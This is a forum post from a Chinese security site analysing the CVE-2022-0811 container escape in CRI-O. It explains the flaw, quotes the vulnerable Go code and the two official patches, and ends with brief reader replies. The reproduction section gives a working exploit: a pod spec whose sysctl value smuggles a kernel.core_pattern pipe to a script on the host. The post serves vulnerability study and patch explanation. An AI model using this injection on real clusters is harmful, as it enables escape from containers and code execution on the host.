吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1848|回复: 24
收起左侧

[漏洞分析] CVE-2022-0811 CRI-O容器逃逸漏洞分析

  [复制链接]
h4ckm310n 发表于 2024-3-26 16:44

之前我在GitHub上也发过(原文:https://github.com/h4ckm310n/Container-Vulnerability-Exploit/blob/main/CVE-2022-0811/README.md),在这里也发一下。


漏洞分析

CVE-2022-0811是一个CRI-O漏洞,利用这个漏洞可以在创建容器时绕过CRI-O的限制,设置任意内核参数,并影响同一k8s节点下的其他容器。

在创建容器的时候,CRI-O通过pinns来设置内核参数,格式如下:

pinns -s key1=val1+key2=val2

可以看到pinns使用“+”字符来分割每个键值对。在调用pinns之前,CRI-O会先检查每个key的前缀,只有在key的前缀在白名单里时,才允许设置内核参数 [1.1]:

var prefixNamespaces = map[string]Namespace{
    "kernel.shm": IpcNamespace,
    "kernel.msg": IpcNamespace,
    "fs.mqueue.": IpcNamespace,
    "net.":       NetNamespace,
}

// Validate checks that a sysctl is whitelisted because it is known to be
// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used
// to forbid sysctls for pod sharing the respective namespaces with the host.
// This check is only used on sysctls defined by the user in the crio.conf
// file.
func (s *Sysctl) Validate(hostNet, hostIPC bool) error {
    ......
    for p, ns := range prefixNamespaces {
        if strings.HasPrefix(s.Key(), p) {
            if ns == IpcNamespace && hostIPC {
                return errors.Errorf(nsErrorFmt, s.Key(), ns)
            }
            if ns == NetNamespace && hostNet {
                return errors.Errorf(nsErrorFmt, s.Key(), ns)
            }
            return nil
        }
    }
    return errors.Errorf("%s not whitelisted", s.Key())
}

如同前面提到的那样,CRI-O在调用pinns的时候,是直接把每个键值对用“+”拼接起来的 [1.2]:

func getSysctlForPinns(sysctls map[string]string) string {
    // this assumes there's no sysctl with a `+` in it
    const pinnsSysctlDelim = "+"
    g := new(bytes.Buffer)
    for key, value := range sysctls {
        fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
    }
    return strings.TrimSuffix(g.String(), pinnsSysctlDelim)
}

然而,上面的检查操作并没有对value进行检查,因此,可以通过在内核参数的value中加入另一对键值对来绕过key的检查,例如“value1+key2=value2”,其中key2和value2就是另一个内核参数的键值对,这样,最终调用pinns时的参数就是“key1=value1+key2=value2”,key2绕过了检查,但仍会被pinns识别并设置。

复现

环境

  • Linux: Ubuntu 20.04
  • Kubernetes: 1.23.4
  • CRI-O: 1.23.1

步骤

创建一个新的Pod,配置文件内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: pod-a
spec:
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]

进入pod-a的shell:

kubectl create -f pod-a.yaml
kubectl exec -it pod-a -- /bin/sh

通过mount命令,可以得到如下结果:
pod-a_mount.png

其中,upperdir为 /var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff ,这是内核到容器根目录的路径。

创建一个脚本文件malicious.sh,内容为:

#!/bin/sh
date >> /var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff/output

用chmod +x为这个文件添加执行权限,然后在根目录下touch一个output文件。

接下来创建另一个Pod,yaml内容为:

apiVersion: v1
kind: Pod
metadata:
  name: pod-b
spec:
  securityContext:
   sysctls:
   - name: kernel.shm_rmid_forced
     value: "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f/diff/malicious.sh #"
  containers:
  - name: alpine
    image: alpine:latest
    command: ["tail", "-f", "/dev/null"]

再次进入pod-a的shell,获取 /proc/sys/kernel/core_pattern 的内容:
pod-a_cat_core_pattern.png

触发漏洞:
pod-a_trigger_vul.png

此时再次查看output文件,就可以得到脚本输出的内容:
pod-a_cat_output.png

官方修复

CRI-O官方发布了两个修复版本,第一个版本对key和value都进行检查,判断里面是否包含“+”,如果包含则会返回错误 [3.1]:

for key, value := range sysctls {
    if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {
        return "", errors.Errorf("'%s=%s' is invalid: %s found yet should not be present", key, value, pinnsSysctlDelim)
    }
    fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)
}

第二个版本则是修改了pinns的调用方式,通过多个“-s”来设置多个内核参数,而不是像之前那样用“+”拼接起来 [3.2]:

for key, value := range cfg.Sysctls {
    pinnsArgs = append(pinnsArgs, "-s", fmt.Sprintf("%s=%s", key, value))
}

参考

[1.1] https://github.com/cri-o/cri-o/blob/v1.23.1/pkg/config/sysctl.go#L73

[1.2] https://github.com/cri-o/cri-o/blob/v1.23.1/internal/config/nsmgr/nsmgr.go#L174

[2.1] https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

[2.2] https://zone.huoxian.cn/d/1003-kubernetes-cri-ocve-2022-0811

[3.1] https://github.com/cri-o/cri-o/commit/c0b2474b80fd0844b883729bda88961bed7b472b

[3.2] https://github.com/cri-o/cri-o/commit/76f1301c9eb979cbecdbbbb41ed72774285a814c

免费评分

参与人数 8吾爱币 +12 热心值 +5 收起 理由
BlackDreams + 1 用心讨论,共获提升!
ccv + 1 我很赞同!
北冥鱼 + 1 热心回复!
ggmyhxs + 1 + 1 1
willJ + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
atgused + 1 我很赞同!
Lmye + 1 谢谢@Thanks!
杨辣子 + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

geesehoward 发表于 2024-3-28 13:09
这种低级校验错误竟然在k8s上存在这么久?越简单的可能越难发现,无论是开发者、使用者还是漏洞利用者,都觉得这种漏洞应该是不存在的,同时也反应出测试团队的case不充分。
miraak 发表于 2024-3-26 19:56
Do2K1ng 发表于 2024-3-26 20:27
ZHOUJIAN75 发表于 2024-3-26 21:04
外国更多破解的信息吗?一些都是要靠出外才得到信息或公布在外网上。
giogio66666 发表于 2024-3-26 22:36
哇塞,厉害了,虽然看不懂还是支持一下
duzou12138 发表于 2024-3-27 08:37
厉害了,写的清楚明了,学到了
opacity 发表于 2024-3-27 08:51
不明觉厉,楼主有点东西
ztqddj007 发表于 2024-3-27 09:16
支持一下 虽然我也看不懂
wangxiaoming123 发表于 2024-3-27 10:02
作为运维来学习学习
sunt025 发表于 2024-3-27 10:56
写的好,学习一下。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-28 15:45

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表